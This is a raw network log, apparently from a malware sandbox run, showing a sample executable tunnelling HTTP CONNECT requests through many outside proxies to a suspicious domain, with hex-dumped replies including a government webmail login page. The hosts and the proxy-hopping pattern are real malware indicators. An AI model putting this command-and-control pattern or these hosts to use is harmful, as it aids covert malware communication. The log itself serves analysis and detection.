Mar 11, 2024 15:23:13.765950918 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 835 Content-Type: text/html Date: Sat, 02 Mar 2024 04:49:06 GMT Expires: Sat, 02 Mar 2024 04:49:06 GMT Server: Mikrotik HttpProxy Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.9	50598	45.11.95.165	5212	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.463728905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.567527056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.9	50616	103.160.205.82	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.464374065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.9	50643	27.96.235.171	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.466542959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.763514996 CET	326	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.9	50802	4.236.183.37	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.471618891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.637824059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.638530016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.637989998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.639826059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:39.637547016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:43.078882933 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 14:21:42 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.9	51379	203.171.19.99	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.483449936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.850553989 CET	1260	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:03 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Set-Cookie: PHPSESSID=nmt0kv6lm6530bbbskejkmh844; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 62 34 35 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 48 65 20 74 68 6f 6e 67 20 74 68 75 20 64 69 65 6e 20 74 75 20 42 6f 20 54 75 20 70 68 61 70 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 33 30 30 22 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 66 6f 6c 6c 6f 77 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 69 6c 2c 20 74 68 75 20 64 69 65 6e 20 74 75 2c 20 6d 6f 6a 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 68 75 20 64 69 65 6e 20 74 75 20 42 6f 20 54 75 20 70 68 61 70 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 69 6e 64 65 78 5f 66 69 6c 65 73 2f 66 6f 6e 74 73 5f 32 30 30 35 30 32 30 38 30 39 30 31 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 66 75 6e 63 74 69 6f 6e 20 70 6f 70 69 74 75 70 28 75 72 6c 29 20 7b 0a 09 6e 65 77 77 69 6e 64 6f 77 3d 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 75 72 6c 2c 27 6e 61 6d 65 27 2c 27 68 65 69 67 68 74 3d 38 30 30 2c 77 69 64 74 68 3d 39 30 30 2c 73 63 72 6f 6c 6c 62 61 72 73 3d 79 65 73 27 29 3b 0a 09 69 66 20 28 77 69 6e 64 6f 77 2e 66 6f 63 75 73 29 20 7b 6e 65 77 77 69 6e 64 6f 77 2e 66 6f 63 75 73 28 29 7d 0a 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 7d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 69 6e 64 65 78 5f 66 69 6c 65 73 2f 79 72 65 67 6d 6c 5f 73 65 63 5f 32 30 30 37 30 34 31 39 31 32 33 34 2e 63 73 73 29 3b 20 0a 2e 63 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 20 75 72 6c 28 69 6e 64 65 78 5f 66 69 6c 65 73 2f 63 72 5f 67 67 5f 6e 65 2e 67 69 66 29 20 6e 6f 2d 72 65 70 65 61 Data Ascii: 2b45<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>He thong thu dien tu Bo Tu phap</title><meta http-equiv="Pragma" content="no-cache"><meta http-equiv="Expires" content="0"><meta http-equiv="refresh" content="300"><meta content="index,follow" name="robots"><meta content="mail, thu dien tu, moj" name="keywords"><meta content="thu dien tu Bo Tu phap" name="description"><link rel="stylesheet" type="text/css" href="index_files/fonts_200502080901.css"><script language="javascript" type="text/javascript">function popitup(url) {newwindow=window.open(url,'name','height=800,width=900,scrollbars=yes');if (window.focus) {newwindow.focus()}return false;}</script><style type="text/css">@import url(index_files/yregml_sec_200704191234.css); .ct{background:transparent url(index_files/cr_gg_ne.gif) no-repea
Mar 11, 2024 15:21:03.850569010 CET	188	IN	Data Raw: 74 20 74 6f 70 20 72 69 67 68 74 3b 74 6f 70 3a 2d 31 70 78 7d 20 0a 2e 63 74 20 2e 63 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 20 75 72 6c 28 69 6e 64 65 78 5f 66 69 6c 65 73 2f 63 72 5f 67 67 5f 6e 77 2e 67 69 66 Data Ascii: t top right;top:-1px} .ct .cl{background:transparent url(index_files/cr_gg_nw.gif) no-repeat top left} .cb{background:transparent url(index_files/cr_gg_se.gif) no-repeat bottom right;bot
Mar 11, 2024 15:21:03.850672007 CET	1260	IN	Data Raw: 74 6f 6d 3a 2d 31 70 78 7d 20 0a 2e 63 62 20 2e 63 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 20 75 72 6c 28 69 6e 64 65 78 5f 66 69 6c 65 73 2f 63 72 5f 67 67 5f 73 77 2e 67 69 66 29 20 6e 6f 2d 72 65 70 65 61 74 20 Data Ascii: tom:-1px} .cb .cl{background:transparent url(index_files/cr_gg_sw.gif) no-repeat bottom left}div.yregdsilu h2.yregdnt, div.yregdsilu p.yregsueasy{width:110px}/* persistency message right above "sign in" bottom */em.nwred a {font-style: nor
Mar 11, 2024 15:21:03.850684881 CET	188	IN	Data Raw: 0a 2f 2a 20 70 6f 70 75 70 20 63 6f 64 65 2e 2e 2e 20 2a 2f 0a 23 73 65 63 75 72 69 74 79 20 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 31 35 70 78 3b 6c 65 66 74 3a 2d 38 35 70 Data Ascii: /* popup code... */#security {display:none;position:absolute;top:-15px;left:-85px;z-index:1000;background-color:#a5a5a5;}#security.noimage {left:-76px;top:-10px}#securityi{position:rel
Mar 11, 2024 15:21:03.879831076 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 4f e4 8c 35 44 8c 86 12 ac da 17 7a 29 6e e1 4b 6e 49 9a 9f ab 65 ae a3 28 28 c5 8b fb 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eO5Dz)nKnIe((*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 15:21:04.215250015 CET	1260	IN	Data Raw: 61 74 69 76 65 3b 7a 2d 69 6e 64 65 78 3a 31 3b 72 69 67 68 74 3a 31 70 78 3b 62 6f 74 74 6f 6d 3a 31 70 78 3b 70 61 64 64 69 6e 67 3a 31 31 70 78 3b 77 69 64 74 68 3a 32 31 39 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 Data Ascii: ative;z-index:1;right:1px;bottom:1px;padding:11px;width:219px;background-color:#fff;border:1px solid #636363;} #knob{position:absolute;top:30px;right:-10px;width:10px;height:18px;background:url(index_files/sideknob.png) no-repeat top left}.n
Mar 11, 2024 15:21:04.215262890 CET	188	IN	Data Raw: 73 74 72 78 5f 31 36 70 69 78 2e 67 69 66 29 20 6e 6f 2d 72 65 70 65 61 74 20 32 30 70 78 20 30 2e 35 65 6d 3b 7d 0a 2e 66 65 65 64 62 61 63 6b 20 70 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d Data Ascii: strx_16pix.gif) no-repeat 20px 0.5em;}.feedback p{padding-left:50px;margin-bottom:0;color:#333;}.feedback p a{text-decoration:underline;}.feedback .ct{background-image:url(index_files/c
Mar 11, 2024 15:21:04.215488911 CET	1260	IN	Data Raw: 72 5f 67 72 6e 5f 6e 65 2e 67 69 66 29 7d 0a 2e 66 65 65 64 62 61 63 6b 20 2e 63 74 20 2e 63 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 69 6e 64 65 78 5f 66 69 6c 65 73 2f 63 72 5f 67 72 6e 5f 6e 77 2e 67 69 66 29 7d 0a Data Ascii: r_grn_ne.gif)}.feedback .ct .cl{background-image:url(index_files/cr_grn_nw.gif)}.feedback .cb{background-image:url(index_files/cr_grn_se.gif)}.feedback .cb .cl{background-image:url(index_files/cr_grn_sw.gif)}</style><style>.../* globa
Mar 11, 2024 15:21:04.215533018 CET	188	IN	Data Raw: 73 2f 6d 61 5f 6d 61 69 6c 5f 31 2e 67 69 66 22 20 61 6c 74 3d 22 59 61 68 6f 6f 21 20 4d 61 69 6c 22 20 62 6f 72 64 65 72 3d 22 30 22 20 68 65 69 67 68 74 3d 22 33 33 22 20 77 69 64 74 68 3d 22 31 39 36 22 3e 3c 2f 74 64 3e 2d 2d 3e 0a 3c 74 64 Data Ascii: s/ma_mail_1.gif" alt="Yahoo! Mail" border="0" height="33" width="196"></td>--><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr valign="top"><td id="ygmapropl
Mar 11, 2024 15:21:04.215585947 CET	1260	IN	Data Raw: 69 6e 6b 73 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 33 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 32 70 78 3b 22 20 61 6c 69 67 6e 3d 22 72 69 67 68 74 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 76 65 72 Data Ascii: inks" style="padding-right: 3px; line-height: 12px;" align="right"><font face="verdana,geneva,sans-serif" size="-2"><a href="http://www.moj.gov.vn" target="www" class="header">Cng thng tin in t B T php</a> - <a href="#" cla
Mar 11, 2024 15:21:04.215631962 CET	188	IN	Data Raw: 6a 61 76 61 73 63 72 69 70 74 22 3e 69 66 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 29 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 75 73 65 72 6e 61 6d 65 27 29 2e 66 6f 63 75 73 28 Data Ascii: javascript">if(document.getElementById) document.getElementById('username').focus();</script></tr><tr><th><label for="passwd">Mt khu:</label></th><td><input

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.9	51440	104.16.81.76	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.484657049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.638945103 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.9	50655	51.89.173.40	26545	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.486149073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.567713976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.591490030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.678380966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.700323105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.9	51394	121.128.194.154	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.486421108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.9	51386	185.49.31.207	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.491031885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.9	51454	104.20.179.187	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.492263079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.646706104 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.9	51455	104.16.226.6	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.492913961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.647181034 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.9	50551	58.20.248.139	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.496376038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.929424047 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.9	50781	72.217.158.202	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
